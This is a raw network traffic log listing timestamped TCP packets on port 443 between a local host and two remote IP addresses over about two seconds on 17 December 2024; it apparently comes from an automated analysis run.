Dec 17, 2024 10:08:34.239749908 CET	49750	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:34.239765882 CET	443	49750	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:34.324732065 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.324799061 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.324848890 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.324867010 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.324886084 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.324906111 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.371741056 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.371767044 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.371820927 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.371835947 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.371857882 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.371870995 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.491538048 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.491559982 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.491627932 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.491642952 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.491691113 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.517005920 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.517023087 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.517086029 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.517095089 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.517134905 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.543420076 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.543441057 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.543510914 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.543519020 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.543556929 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.645155907 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.645221949 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.659208059 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.659216881 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.659413099 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.659418106 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.672214031 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.672235966 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.672300100 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.672314882 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.672528028 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.687824965 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.687910080 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.687916994 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.687927008 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.687978029 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.702464104 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.702481985 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.702552080 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.702558994 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.702598095 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.718213081 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.718257904 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.718307018 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.718322039 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.718349934 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.718373060 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.731707096 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.731726885 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.731798887 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.731806993 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.731848001 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.747179031 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.747224092 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.747266054 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.747278929 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.747303963 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.747320890 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.871498108 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.871552944 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.871601105 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.871623993 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.871650934 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.871675014 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.882725954 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.882774115 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.882802010 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.882813931 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.882878065 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.882878065 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.895628929 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.895643950 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.895705938 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.895713091 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.896097898 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.908138037 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.908154011 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.908211946 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.908217907 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.908296108 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.920459032 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.920506001 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.920537949 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.920546055 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.920589924 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.920604944 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.933026075 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.933048964 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.933098078 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.933104038 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.933131933 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.933156013 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.944221973 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.944240093 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.944288969 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.944295883 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.944329977 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.944351912 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.055088043 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.055140972 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.055176973 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.055188894 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.055223942 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.055244923 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.064232111 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.064277887 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.064315081 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.064320087 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.064353943 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.064368010 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.074637890 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.074701071 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.074716091 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.074721098 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.074754000 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.074771881 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.083151102 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.083194017 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.083226919 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.083231926 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.083285093 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.092803001 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.092849970 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.092879057 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.092884064 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.092915058 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.092933893 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.101819992 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.101865053 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.101896048 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.101901054 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.101932049 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.101949930 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.106194973 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.106270075 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.106309891 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.106312037 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.106364965 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.125814915 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.125876904 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.125921011 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.125924110 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.125952959 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.125965118 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.125993013 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.126014948 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.312298059 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.312325954 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.312391043 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.312411070 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.312463999 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.361339092 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.361358881 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.361430883 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.361442089 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.361498117 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.458667994 CET	443	49750	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:35.458764076 CET	49750	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:35.460118055 CET	49750	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:35.460129023 CET	443	49750	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:35.460371971 CET	443	49750	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:35.461822987 CET	49750	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:35.461921930 CET	49750	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:35.461927891 CET	443	49750	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:35.483563900 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.483583927 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.483647108 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.483663082 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.483747005 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.512851954 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.512868881 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.512952089 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.512963057 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.513032913 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.536091089 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.536107063 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.536187887 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.536201000 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.536240101 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.556926012 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.556943893 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.557012081 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.557029009 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.557070971 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.665762901 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.665806055 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.665836096 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.665874004 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.665900946 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.665908098 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.682574987 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.682591915 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.682662010 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.682667971 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.682708979 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.697760105 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.697777987 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.697834969 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.697845936 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.697885036 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.710783958 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.710804939 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.710885048 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.710894108 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.710937977 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.726929903 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.726948023 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.727015972 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.727024078 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.727060080 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.739907026 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.739928961 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.739969969 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.739981890 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.740012884 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.740029097 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.756450891 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.756468058 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.756535053 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.756542921 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.756596088 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.756603003 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.856965065 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.856988907 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.857086897 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.857100964 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.857132912 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.857238054 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.868602037 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.868624926 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.868699074 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.868719101 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.868781090 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.879388094 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.879405022 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.879468918 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.879482031 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.879785061 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.888545990 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.888566017 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.888647079 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.888658047 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.891204119 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.899272919 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.899290085 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.899362087 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.899369955 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.903376102 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.908313036 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.908329010 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.908409119 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.908420086 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.911041021 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.918411970 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.918428898 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.918539047 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.918549061 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.919368982 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.928668022 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.928682089 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.928967953 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:35.928980112 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:35.931123018 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.049287081 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.049304008 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.049436092 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.049455881 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.051116943 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.057276964 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.057293892 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.057363033 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.057378054 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.057400942 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.057409048 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.064120054 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.064136028 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.064197063 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.064207077 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.067379951 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.071901083 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.071914911 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.071985006 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.071996927 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.075171947 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.079404116 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.079418898 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.079498053 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.079507113 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.083393097 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.087146044 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.087162018 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.087234020 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.087240934 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.091382027 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.095130920 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.095146894 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.095202923 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.095211029 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.095254898 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.095268011 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.112211943 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.112227917 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.112338066 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.112354040 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.113522053 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.240561962 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.240586042 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.240693092 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.240693092 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.240709066 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.243336916 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.248492002 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.248511076 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.248594999 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.248605967 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.251380920 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.256249905 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.256266117 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.256336927 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.256345987 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.256412029 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.256412029 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.264132023 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.264148951 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.264235973 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.264245033 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.266904116 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.271487951 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.271505117 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.271842957 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.271852970 CET	443	49744	150.171.27.10	192.168.2.6
